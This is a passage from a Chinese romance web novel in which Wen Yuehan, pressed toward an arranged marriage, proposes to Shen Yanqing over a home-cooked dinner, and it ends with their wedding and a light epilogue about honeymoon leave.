转到蔬菜区,拿起一捆翠绿的荷兰豆,又挑了几个饱滿的胡萝卜,温月晗就安静地跟在她身边,偶尔会伸手帮忙接过她选好的蔬菜放进购物车。 指尖不经意擦过购物车的金属边缘,或是在拿起同一根莴笋时,两人的手短暂靠近……沈砚清觉得周遭的空气都变得稀薄起来。 她拿起一颗圆润的西红柿,温月晗就在旁边轻声说:“这个颜色真好看。” 走到冷鲜柜前,她弯腰挑选排骨,温月晗很自然地帮她扶着微微滑动的购物车。 经过零食区,她看了两眼温月晗刚刚说过的坚果零食同品牌货架,温月晗捕捉到她的目光,轻轻笑了:“下次再买?” 购物袋不算轻,沈砚清提着走在前面。 回到公寓,她径直走进厨房,把袋子里的食材一一拿出来,动作利落。 温月晗也跟着进来,小小的空间顿时顯得有些拥挤。 “我帮你洗菜。” 温月晗声音轻柔,带着不容拒绝的坚持,已经主动从袋子里拿出了那捆豆角。 沈砚清那句“不用”卡在喉咙里,看她已经开始择豆角,只好咽了回去。 她拿出土豆准备削皮,刚放水槽边,就被温月晗伸手接了过去:“给我吧,我来洗。” 第二个土豆递过去时,温月晗的手恰好覆了上来。 指尖微凉,皮肤细腻柔软,那几乎算不上接触的触碰,像一道细微的电流,瞬间击中了沈砚清的手背,让她整个人猛地一僵。 心跳骤然失序,在安静的厨房里几乎能听到鼓点般的声音。 她慌忙收回手,低头去处理排骨。 等到排骨需要下油锅炸制时,油烟升腾,沈砚清才终于找到“正当理由”。 她转过身,对身后那道安静帮忙的身影说:“下面油烟大,你不能待这儿了,出去吧。无聊就看看书或者电视。” 尽可能让自己的声音听起来自然。 温月晗抬眼看了看锅里滋滋作响的热油,又看看沈砚清紧绷的侧脸,似乎明白了什么,嘴角弯起一个温柔的弧度,没再坚持:“好。” 大约四十分钟后。 椒盐排骨金黄诱人,清蒸多宝鱼肉质细嫩,豆角炒肉香气扑鼻,清炒荷兰豆脆生生的绿。 几道家常菜摆上小小的餐桌,竟也显得格外丰盛温馨。 温月晗拉开椅子坐下,看着满桌菜肴,眼睛亮晶晶的,毫不吝啬地赞叹:“好香啊,砚清,真厉害!” 她的夸奖真诚而直白,带着毫不掩饰的欢喜。 沈砚清盛了两碗紫菜蛋花汤,把一碗放到温月晗面前:“不是说饿了吗?快吃吧。” 她记得温月晗口味清淡,桌上的菜都刻意少放了辣椒。 温月晗拿起筷子,安静地吃起来。 她吃得不算快,但很认真,夹起一块排骨细细品味,又小心地夹起鲜嫩的鱼肉,再配上清爽的荷兰豆…… 虽然没有再说话,但她专注而满足的神情,以及不断伸向不同菜盘的筷子,都在无声地诉说着:她很喜欢,很喜欢沈砚清做的菜。 这份无声的认同,比任何言语都让沈砚清的心口微微发暖。 等到两人吃的差不多,沈砚清没有立刻起身收拾,目光落在餐桌对面温月晗的脸上。 困扰了她几天的问题,在舌尖滚了又滚,终于还是问出了口:“你……打算什么时候回去?” 温月晗用纸巾擦拭嘴角的动作顿住了。 她抬起眼,长长的睫毛如蝶翼般扇动了几下,沉默了片刻。 开口说的却是另一件事,声音很轻,像重锤落在沈砚清心上:“二叔希望我成婚。他们……正在给我物色联姻对象。” 联姻。 这两个字像尖锐的针,密密麻麻扎进沈砚清的心脏。 一瞬间,她只觉得肺部的空气被抽空,窒息感汹涌而至。 放在膝盖上的手,在温月晗看不见的地方,攥成了拳头,指甲几乎掐进掌心。 “沈砚清。” 温月晗的声音很平静,可那双总是盛满温柔的眸子里,此刻却带着一丝苦涩和挥之不去的倦意,“回N市……我就会结婚。” 父亲离世,母亲改嫁,偌大的温家,她看似是大小姐,实则早已成了透明人。 二叔二婶这些年的“维护”,不过是因为她身上还有未曾榨取的“价值”。 六年了。 她真的累了。 “所以?” 沈砚清用尽全力,才压下喉咙口的酸涩和翻涌的苦楚。 嘴角努力牵起一个极浅的弧度,带着点自嘲,也带着点尖锐的声音响起,“温大小姐屈尊住在我家这些天,是想到什么解决这‘终身大事’的办法了吗?” 原来……她不离开,不是因为那晚的意外让她心绪难平,不是因为对她沈砚清有丝毫留恋。 到头来,竟是她……自作多情了。 看到沈砚清眼底的受伤,温月晗眉头微蹙,也没有再打哑谜,直视她的眼睛,轻声问:“我不想回去。” “沈砚清。” “我们结婚吧。” “当然,如果你不愿意就当我什么都没说。” 第102章 沈砚清VS温月晗2 那晚在…… “结婚?” 沈硯清以为自己出现了幻听, 下意识掐了一下手背上的软肉,清晰的刺痛感传来。 她猛地抬眼,撞进溫月晗那雙總是漾着溫柔, 此刻却写滿认真与严肃的眸子里。 不是玩笑。 她是认真的。 这个认知像一束猝然炸开的烟火, 瞬间点燃了沈硯清沉寂多年的心湖。 巨大的驚喜包裹着她, 血液在四肢百骸奔流冲撞,让她指尖都在微微发麻。 三年了,那份被她深埋心底, 以为早已无望的情感, 在这一刻似乎看到了最荒谬也最诱人的出口。 然而,这狂喜的火焰只燃烧了一瞬。 下一秒, 一盆冰冷的水,从头浇到脚。 理智如同挣脱枷鎖的野兽,咆哮着撕碎了那短暂的美梦。 溫月晗是谁? 她是N市溫家的大小姐,即将和门当户对的家族小姐联姻。 她此刻的提议,是因为什么? 是因为那晚“意外”带来的责任感? 还是因为被家族逼到绝境后,抓住眼前这根看似最方便的“稻草”——一个恰好喜欢过她,且有过肌肤之亲的自己? 沈硯清的心像被一只无形的手狠狠攥緊, 揉搓。 呼吸变得艰涩。 她抬眸看向餐桌对面的温月晗, 对方眼底那份认真像細小的针, 密密麻麻扎在她心上。 她不能。 她不能乘人之危。 她更不能……接受一份可能仅仅源于责任, 愧疚或走投无路的“施舍”。 苦涩的味道从喉咙深处蔓延上来,沈硯清感到一种近乎窒息的压抑。 强迫自己扯动嘴角,试图做出一个表情, 却只牵起一丝比哭还难看的弧度。 “不要。” 她的声音干涩沙哑。 这两个字,沉重地砸在寂静的空气里,也砸在她自己千疮百孔的心上。 她垂下眼帘, 避开温月晗瞬间变得错愕和探究的目光,仿佛这样就能保护自己最后一点摇摇欲坠的尊严。 指甲深深陷入掌心,用更尖锐的疼痛来维持清醒。 “生活已经很苦了。” 沈砚清有些艰难地开口,像是在陈述一个事实,“我要娶的妻子……” 说到这里她深吸一口气,抬起头,目光直视着温月晗,那里面翻涌着複杂,以及一丝难以察觉的痛楚,“不仅要我自己喜欢。” 她缓慢地吐出最后几个字,像是用尽了全身的力气:“对方……也要喜欢我才行。” 不是责任,不是愧疚,不是走投无路的选择。 是纯粹的心意,是雙向的奔赴。 那是她对婚姻仅存的底线。 沈砚清说完话,不敢去看温月晗的眼睛,怕那里面哪怕一丝的受伤或失落,都会瞬间瓦解她好不容易筑起的防线。 拒绝心上人的“求婚”,字字句句都像亲手拿着钝刀子剜自己的心。 她有些慌乱地站起身,想要收拾碗筷逃离这令人窒息的空间。 指尖刚触到微凉的瓷碗边缘,手腕就被一只微凉的手握住。 沈砚清浑身一僵,愕然抬眸。 她甚至没察觉到温月晗是什么时候走到她身边的。 温月晗的目光牢牢鎖住她,那雙眼眸里倒映着沈砚清仓惶的身影。 “沈砚清,你凭什么说……我不喜欢你呢?” 这句话像一道驚雷,轰然在沈砚清脑中响起。 她瞳孔骤缩,呼吸停滞,抬起头呆呆地看着温月晗。 温月晗手上微微用力,将沈砚清指尖的碗拿走。 又端起其他碗碟,转身走向厨房,仿佛只是做着一件再自然不过的事,好像没有看到沈砚清脸上的错愕和茫然。 水槽里传来碗碟輕碰的脆响。 温月晗的声音,隔着几步的距离,继续传来:“时隔三年再见到你,我就知道,你……还喜欢我。” 沈砚清的喉咙发緊,站在原地不知所措。 “当初婉拒你,有很多……无法宣之于口的理由。” 温月晗神情依然温柔,嗓音又低又沉,“这些年,我一直在查我父亲的死因。所幸,那些人……被我亲手送进了监狱。” 她輕描淡写的一句话,背后却是难以想象的步步惊心与漫长煎熬。 “二叔二婶,也因此‘怕’我。” 温月晗嘴角牵起一丝嘲讽的弧度,“一个他们眼中手无缚鸡之力的大小姐,竟能忍辱负重这么多年,把当年的真相掀了个底朝天。这份心性,在他们看来,大概‘恐怖如斯’吧?所以,把我嫁出去,是最好的一箭双雕——既能把我这个‘隐患’从温家剥离,又能拉拢一个强劲的家族。何乐而不为?” 她挑眉看向沈砚清,那双清澈温柔的眸子里,翻涌着複杂的情愫。 有无奈,有倦怠,也有决然。 温月晗走出厨房,重新站在沈砚清面前,距离近得沈砚清能闻到她身上淡淡的铃兰花馨香。 “那晚在酒店……” 温月晗注视着沈砚清的眼睛,声音放得更輕,“是我先动的手。” 此时此刻,沈砚清的大脑彻底宕机了,那晚混乱的记忆如碎片一般,她一直以为是酒精作祟下的失控,是她自己的唐突。 万万没想道,竟然……竟然是温月晗主动的。 温月晗微微仰起脸,目光坦荡而直接地望进沈砚清翻江倒海的眼底:“沈砚清,我喜欢你。” “或许……没有你喜欢我那么多,那么久。” 她歪头,眼中漾起一抹温软,小心翼翼的探询,“现在你确定我的心意了,要不要……再考虑一下?” 抬起手,指尖輕轻碰了碰沈砚清僵硬垂在身侧的手背。 然后,再次问出了那个足以点燃一切的问题:“愿意跟我结婚吗?” 温月晗的话,如同一颗投入湖面的石子,瞬间激起了滔天巨浪。 沈砚清耳边是震耳欲聋的心跳声,那些积压了多年的爱恋,此刻得知真相的震撼…… 所有复杂的情感在这一刻交织。 她甚至来不及思考,身体已经先于意识做出了反应。 “唔……” 一声短促的惊呼被堵在了唇齿间。 沈砚清像一头小兽,猛地上前一步,张开双臂,狠狠地将温月晗拥入怀中。 抱的很用力,仿佛要将对方揉进自己的骨血里,带着失而复得的狂喜。 温月晗被这突如其来的冲力撞得微微后仰,后背轻抵在料理台边缘。 她还来不及稳住身形,沈砚清滚烫的气息就扑面而来。 随即,温月晗只觉眼前一暗,一个带着渴望和不容拒绝的吻,重重地、颤抖地覆上了她的唇瓣。 这个吻毫无章法,带着沈砚清所有的欣喜激动和澎湃的爱意。 她的唇瓣柔软且灼热,急切地辗转吮吸,带着一种近乎贪婪的探索,撬开温月晗的齿关,更深地攫取着属于她的气息。 温月晗最初的惊讶过后,很快便闭上了眼睛,纤长的睫毛如同受惊的蝶翼般轻颤着。 抬起双臂轻轻环住了沈砚清微微颤抖的腰身,由着她放肆亲吻。 餐厅里只剩下两人急促交缠的呼吸声和唇齿相依的細微水声。 空气变得粘稠而滚烫,充滿了令人心跳加速的暧昧气息。 沈砚清忘情地亲吻着,仿佛要将这三年的思念都通过这个吻传递给怀中的人。 手臂紧紧箍着温月晗纤细的腰肢,两人的身体紧密相贴,不留一丝缝隙。 许久,沈砚清才退开一点,额头抵着温月晗的额头,两人的呼吸依旧灼热地交织在一起。 看着温月晗靡丽而温柔的眼眸,沈砚清说的坚定且认真:“我想跟你结婚,阿月。” “我喜欢你。” “一直一直,都只喜欢你。”- 半个月后。 謝思虞接到沈砚清的电话,听到她和温月晗领证的消息,只觉得像在做梦。 直到她亲眼看着两人递过来红彤彤的结婚证,指尖触碰到那硬质的封面,那份不真实感才稍稍退去。 榕城,“云栖”咖啡店。 午后的阳光透过玻璃窗,暖洋洋地洒在靠窗的长方形木桌上。 店员端上咖啡,陸言卿将那杯还冒着热气的拿铁,细心地放在謝思虞手边——特意没加冰块。 她侧过头,凑近謝思虞耳边,温柔提醒:“阿虞,咖啡可以喝,但最多半杯。” 谢思虞心领神会,轻轻点了点头,目光落在对面的温月晗身上:“月晗姐,你真的……决定留在榕城吗?” 她知道温家在N市的根基,也知道联姻的压力。 温月晗今天穿着一件素雅的新中式连衣裙,长发松松地侧挽在一肩。 握着精致的小勺,正轻轻搅动着杯中的咖啡,动作不疾不徐,闻言唇角弯起一个柔和弧度:“嗯。” 虽然二叔二婶为她不打招呼就结婚的事气得够呛,但她选择留在榕城,远离温家的权力中心,他们纵然心中不满,终究不会再像从前那样步步紧逼。 豪门世家,面子功夫總要做的。 作为温家大房唯一的遗孤,只要她安分地待在榕城,不再“惹事”,他们乐得维持表面上的体面与“关怀”。 “哎呀,不说这个了。” 沈砚清出声打破了沉闷话题。 她眼睛亮晶晶的,带着点讨好和狡黠,直接转向了陸言卿,“陸总,我打算和阿月去度个蜜月,您看……最多能批几天假?” 陆言卿慢条斯理端起自己的咖啡,浅浅抿了一口,还没来得及咽下,旁边的谢思虞就特别大方的开口:“一个月肯定不行,那……半个月?” 沈砚清一听,立刻兴奋地眨了眨眼,递给谢思虞一个“姐妹靠谱”的感激眼神,嘴角都快咧到耳根了。 陆言卿看着妻子那温柔的眼神,再看看沈砚清那副得逞的小模样,无奈地气笑了。 陆太太都发话了,她还能说什么? “请假条发我邮箱。” “好的,没问题!” 沈砚清声音里是压不住的雀跃,立刻解锁手机屏幕,“我现在就发。” 陆言卿在谢思虞温柔如水的注视下,拿起手机,指尖轻点,批准了沈砚清那份“理直气壮”的事假申请。 她微微偏头,目光落在妻子含笑的侧脸上。 阳光勾勒着她柔和的轮廓,那双眼睛里是真真切切为朋友结婚而感到高兴。 不知怎的,陆言卿忽然想到钟晚意。 那家伙,不管不顾一路追着宋薇跑到了条件艰苦的剧组里…… 现在,总算也如愿以偿,抱得美人归了。 全文完